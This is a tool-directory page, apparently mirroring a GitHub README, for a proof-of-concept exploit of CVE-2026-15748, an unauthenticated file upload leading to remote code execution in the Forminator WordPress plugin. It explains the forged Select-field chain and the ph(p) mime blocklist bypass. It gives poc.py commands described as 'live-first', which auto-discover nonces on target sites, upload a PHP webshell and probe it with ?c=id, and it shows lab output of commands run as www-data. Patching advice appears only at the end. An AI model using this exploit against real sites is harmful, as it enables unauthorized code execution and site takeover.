Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - Unauthenticated Arbitrary File Upload via Forged Upload Field Configuration | Kitploit
Tools/GitHubGitHub/ubaydev/cve-2026-15748
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - Unauthenticated Arbitrary File Upload via Forged Upload Field Configuration

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-15748 — Forminator Forms Unauthenticated Arbitrary File Upload → RCE

CVSS 9.8 (Critical) · Affected: Forminator <= 1.56.1 · Patched: 1.56.2 Researcher: daroo (Wordfence Bug Bounty, $2,048) · ~600k active installs Writeup: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Root-cause chain

Three weaknesses chained via a forged Select-field value:

  1. No sanitization on nested field arrays — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() iterates each stored field. For the stored Select field select-1, $field_data = prepared_data['select-1'] (attacker-controlled nested array). When it carries return, the array is appended to field_data_array wholesale (front-action.php ~line 1088), before any per-field sanitize/validate. maybe_handle_custom_option() does not strip these.

  2. Untrusted field config trusted at upload — Forminator_CForm_Front_Action::process_uploads() iterates field_data_array, trusts forged field_type == 'upload', uses forged name to select a $_FILES input, and passes forged field_array as trusted config into Forminator_Upload::handle_file_upload().

  3. Blocklist exact-key bypass — forminator_allowed_mime_types() strips the literal key php, but wp_check_filetype() treats keys as regex. Key ph(p) survives the blocklist yet matches the .php suffix. additional-type = ph(p)|text/x-php lets a .php file pass validation.

Exploitability condition

A published form must contain both a File Upload field and a Select field. Select is only the carrier.

Execution caveat (LAB-VERIFIED)

  • Upload of arbitrary .php to disk succeeds by default (no special config needed for the write).
  • RCE requires the upload root to lack Apache .htaccess. The default Forminator root and a custom root both get a .htaccess blocking PHP (SetHandler none / RemoveHandler). RCE fires only when that .htaccess is absent — the writeup's "custom storage root created during a frontend request where insert_with_markers() isn't loaded" scenario.
  • In the lab we achieved RCE by using a custom storage root and simulating the no-.htaccess state.

Upload path & hash (important for live testing)

  • Default root: wp-content/uploads/forminator/ → file at wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
  • Custom root: if admin set forminator_custom_upload_root (e.g. cveuploads), files land at wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
  • The <hash> is wp_hash($form_id) — derived from the site's AUTH salts, so it is not predictable externally. poc.py prints the path pattern; to complete it you must recover the hash (dir listing, an existing uploaded file's URL/log, an entry in the admin, etc.) via --form-hash.
  • Uploaded filename = wp_generate_password(12,false,false) . '-' . <original> → e.g. cX3fRjMDDu03-shell.php (12 random alnum chars + + original name).

Usage — poc.py

Live-first by design; local-lab helpers (file-FS scan, .htaccess removal) are gated to http://wordpresslab.test / http://localhost only.

root@kitploit:~
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell

Flags

--auto value mapping (harvested from form HTML)

Skipped: internal fields (action/form_id/nonce/...), type="file" (upload-*), select-* (exploit carrier), calculation-* (computed), and foreign-plugin fields (wpforms[...]).

Lab reproduction (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

Setup:

  • Form with a genuine Upload field + a Select field (built via build_form.php, Forminator_Form_Model API).
  • Custom upload storage root enabled (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads) so we can demonstrate RCE. cveuploads/ is a lab artifact, not a Forminator default.
  • Design note: for a clean success=True, the forged name should differ from the genuine upload field's element_id. A colliding name still uploads the file but the genuine field also runs its own default-mime check → the response reports an error while the shell is already on disk.

Raw evidence (lab run):

root@kitploit:~
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php

[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data

# .htaccess present (protected): request returns raw PHP source (not executed)

Files

  • poc.py — live-first PoC (auto-discover, auto-fill, verify-url, local RCE helper)
  • build_form.php — programmatic lab form builder (upload + select) via model API
  • README.md — this doc

Mitigation

  • Update to Forminator >= 1.56.2 (blocks the mime blocklist bypass + trusted field-config path).
  • Ensure any custom upload storage root is covered by the Forminator .htaccess/index protections.
  • Only run PoC against targets you are authorized to test.
Download Tool
-
FlagMeaning
--targetbase URL (or full page URL when no --page-id/manual)
--page-idpost id; if empty, the target URL itself is fetched for nonce/form_id
--form-id, --noncebypass discovery; still fetches page for --auto harvest
--upload-fieldgenuine upload field name (default upload-1)
--forge-nameforged $_FILES carrier (default = genuine name, colliding mode; use a distinct name for a clean success=True)
--selectselect field to use (default select-1)
--extra name=valueforce a field value (repeatable; --extra 'checkbox-1[]=a+b' for multiple)
--auto / --no-autoharvest real form fields from HTML and auto-fill plausible values by type (default on)
--upload-rootrelative upload root (default wp-content/uploads/forminator; set e.g. wp-content/uploads/cveuploads for custom root)
--form-hashthe <hash> part of the upload dir → completes/prints a concrete URL
--verify-urllive: probe a candidate shell URL with ?c=id/?c=whoami
--find-shelllocal only (wordpresslab.test/localhost): find newest *-shell.php, remove .htaccess, execute
--no-htaccessprint the local-lab .htaccess-removal note
Field typeGenerated value
email / name has emailauto<rand>@mailinator.com
tel / name has phone10 random digits
url / name has urlhttps://example.com/<rand>
numberrandom 1–9999
date2026-08-19
checkbox/radio group name[]first option value (all same-name inputs scanned)
single checkbox/radiovalue attr, fallback checked
<select> (non-carrier)first non-empty option
<textarea>random text
plain textrandom 10 chars